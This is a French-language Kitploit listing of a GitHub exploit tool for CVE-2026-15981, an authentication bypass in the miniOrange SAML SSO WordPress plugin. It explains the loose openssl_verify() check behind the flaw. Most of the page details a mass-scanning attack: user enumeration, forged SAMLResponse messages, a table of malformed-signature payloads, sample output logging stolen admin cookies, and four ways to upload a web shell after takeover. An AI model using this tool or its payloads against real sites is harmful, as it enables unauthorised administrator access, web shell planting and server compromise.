Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-15981 — SAML Single Sign On <= 5.4.4 - Contournement de l'authentification sans authentification via le paramètre SAMLResponse | Kitploit
Outils/GitHubGitHub/nxploited/cve-2026-15981
Authentification et AutorisationGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'Intrusion
GitHubnxploited/cve-2026-15981

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Contournement de l'authentification sans authentification via le paramètre SAMLResponse

Voir le dépôt
il y a 25 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Contournement de l'authentification sans authentification préalable via le paramètre SAMLResponse

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — Contournement de l'authentification sans authentification préalable

Exploit de preuve de concept
Signature malformée → openssl_verify() renvoie -1 → conversion souple PHP en true → wp_set_auth_cookie() en tant qu'Administrateur


Présentation de la vulnérabilité

Description

Le plugin SAML Single Sign On – SSO Login pour WordPress est vulnérable à un contournement de l'authentification dans toutes les versions jusqu'à la 5.4.4 incluse. Cela est dû au fait que la fonction mo_saml_validate_signature() effectue un contrôle booléen souple sur l'entier à trois états renvoyé par openssl_verify() de PHP, ce qui fait que la valeur d'erreur -1 est évaluée comme vraie et donc traitée comme une vérification de signature réussie.

Cela permet à des attaquants non authentifiés de se connecter en tant que n'importe quel utilisateur WordPress existant, y compris les administrateurs, en soumettant une SAMLResponse forgée contenant un NameID contrôlé par l'attaquant et une valeur de signature délibérément malformée qui déclenche une erreur de traitement OpenSSL — contournant entièrement la vérification et conduisant à l'appel de wp_set_auth_cookie() pour le compte ciblé.

Cause racine

root@kitploit:~
Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

Le correctif est trivial — if ($result === 1) au lieu de if ($result) — mais l'impact de la faille est un contournement total de l'authentification.


Fonctionnalités

  • Scan de masse multi-cibles — traitement concurrent des listes de cibles
  • Prise d'empreinte WordPress complète — confirme WordPress avant de continuer
  • Détection du plugin et vérification de version — identifie miniOrange SAML SSO et valide la version ≤ 5.4.4
  • Découverte des métadonnées SP — extrait l'Entity ID et l'URL ACS de ?option=mosaml_metadata
  • Énumération complète des utilisateurs :
    • WP REST API (/wp-json/wp/v2/users)
    • Requêtes REST par ID (IDs 1–10)
    • Redirections des archives d'auteur (/?author=N)
    • Correspondance de motifs dans le corps HTML
    • Repli basé sur le domaine + noms d'administrateur courants
  • Découverte de l'émetteur IdP — suit les redirections de ?option=saml_user_login et extrait les URL de base de l'IdP
  • Moteur de forge de SAMLResponse :
    • Canonicalisation Exclusive C14N correcte via lxml
    • Calcul correct du Digest (SHA-1/SHA-256/SHA-384/SHA-512)
    • Injection de l'élément Signature après </Issuer> conformément à la spécification SAML
    • Plus de 12 charges utiles de signature malformées conçues pour déclencher openssl_verify() = -1
    • Itère sur utilisateurs × émetteurs × algorithmes × signatures × indicateurs d'audience × Entity ID SP
  • — vérifie la présence du cookie après chaque tentative

Prérequis

root@kitploit:~
Python >= 3.8
root@kitploit:~
pip install requests lxml

lxml est requis pour une canonicalisation Exclusive C14N correcte de l'Assertion SAML.


Utilisation

root@kitploit:~
python CVE-2026-15981.py

Vous serez invité à fournir :

ParamètreDescriptionDéfaut
Fichier de ciblesChemin vers un fichier texte contenant une cible par lignelist.txt
ThreadsNombre de travailleurs concurrents (1–100)5

Format du fichier de cibles

root@kitploit:~
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

Une URL par ligne. HTTP est utilisé par défaut si aucun schéma n'est spécifié.


Sortie

Terminal

root@kitploit:~
  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

Chaque cible progresse à travers 7 étapes étiquetées :

root@kitploit:~
  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

Fichiers de résultats

FichierContenu
sms.txtUne ligne par session admin confirmée — horodatage, cible, utilisateur, cookie, URL du shell, émetteur, méthode de signature
sms_debug.jsonJSON de diagnostic complet pour chaque cible — y compris les compteurs de tentatives et les classifications d'échec

Format de la ligne de résultat

root@kitploit:~
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256

Résumé

root@kitploit:~
  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================

Pipeline d'exploitation

root@kitploit:~
Target
  │
  ├─ [1] WordPress Detection
  │       └─ wp-login.php / wp-json / jQuery fingerprint
  │
  ├─ [2] SAML Plugin Detection
  │       ├─ readme.txt version check (≤ 5.4.4)
  │       └─ SAML signature detection in HTML
  │
  ├─ [3] SP Metadata Discovery
  │       └─ ?option=mosaml_metadata → entityID + ACS URL
  │
  ├─ [4] User Enumeration
  │       ├─ REST API /wp/v2/users (bulk + per-ID)
  │       ├─ Author archive redirect (/?author=N)
  │       ├─ HTML body pattern matching
  │       └─ Domain fallback + common admin names
  │
  ├─ [5] IdP Issuer Discovery
  │       ├─ ?option=saml_user_login redirect → IdP URL
  │       └─ wp-login.php SAML link extraction
  │
  ├─ [6] SAMLResponse Forgery & Delivery
  │       │
  │       │   For each (user × issuer × algorithm × signature × audience × SP ID):
  │       │
  │       ├─ Build SAML Assertion with attacker-controlled NameID
  │       ├─ Canonicalize via Exclusive C14N (lxml)
  │       ├─ Compute correct DigestValue for the Assertion
  │       ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
  │       ├─ Wrap in <samlp:Response>, Base64 encode
  │       ├─ POST SAMLResponse to ACS URL
  │       ├─ Check for wordpress_logged_in_* cookie
  │       ├─ If cookie found → verify admin role via wp-admin
  │       └─ Classify failure via diagnostic engine
  │
  └─ [7] Post-Exploitation (on admin session)
          ├─ M1: Plugin ZIP upload + activation
          ├─ M2: REST API plugin upload
          ├─ M3: Theme/Plugin editor file write
          ├─ M4: Media async upload
          └─ Shell execution verification (Nx-zD signature)

Charges utiles de signature malformées

L'exploit embarque plus de 12 charges utiles de signature spécialement conçues pour déclencher openssl_verify() = -1 :

Chacune est combinée avec les URI d'algorithmes SHA-1 et SHA-256, et testée avec ou sans restriction d'Audience, sur plusieurs Entity ID SP — maximisant ainsi les chances d'atteindre le chemin de retour -1 sur n'importe quelle version d'OpenSSL.


Avertissement

Cet outil est fourni strictement à des fins de tests de sécurité autorisés et de recherche pédagogique. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

L'accès non autorisé à des systèmes informatiques est une infraction pénale. L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou de conséquences juridiques découlant de l'utilisation de ce logiciel. Vous êtes seul responsable du respect de toutes les lois et réglementations applicables dans votre juridiction.


Par : Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit

Télécharger l’outil
ChampDétail
CVE IDCVE-2026-15981
Plugin concernéminiOrange SAML 2.0 Single Sign On – SSO Login (WordPress)
Versions concernéesToutes les versions jusqu'à la 5.4.4 incluse
TypeContournement de l'authentification sans authentification préalable
CWECWE-287 : Authentification incorrecte / CWE-305 : Contournement de l'authentification par faiblesse primaire
CVSS 3.19.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthentificationAucune requise
Vérification de session
wordpress_logged_in_*
  • Confirmation du rôle administrateur — vérifie l'accès à /wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php
  • Extraction du profil — lit le nom d'utilisateur et l'e-mail depuis /wp-admin/profile.php
  • 4 méthodes de téléversement de shell une fois la session admin obtenue :
    • M1 — Téléversement d'un plugin ZIP via plugin-install.php
    • M2 — Téléversement de plugin via l'API REST /wp-json/wp/v2/plugins
    • M3 — Écriture de fichier via l'éditeur de thème/plugin
    • M4 — Téléversement de média asynchrone
  • Vérification de l'exécution du shell — confirme la signature Nx-zD dans le corps de la réponse
  • Moteur de diagnostic — classe les raisons d'échec (DIGEST_FAIL, ISSUER, AUDIENCE, TIME, etc.)
  • Sortie JSON de débogage — journal de diagnostic complet par cible pour analyse
  • Charge utileDescription
    0xFF * 256256 octets de 0xFF — bourrage PKCS#1 invalide
    0xFF * 384384 octets pour les tailles de clé RSA-3072
    0xFF * 512512 octets pour les tailles de clé RSA-4096
    0xFF * 128Tampon plus court pour les tailles de clé plus petites
    0xFF * 64Bourrage invalide minimal
    0x00 0x01 0xFF*254Ressemble à du PKCS#1 v1.5 mais avec une structure incorrecte
    0x00 0x01 0xFF*126Structure de type PKCS#1 plus courte
    null_2BDeux octets adjacents nuls
    rand_3B / rand_7BOctets aléatoires — déclenche des erreurs d'analyse
    asn1_badSéquence ASN.1 DER malformée
    ff_1BUn seul octet 0xFF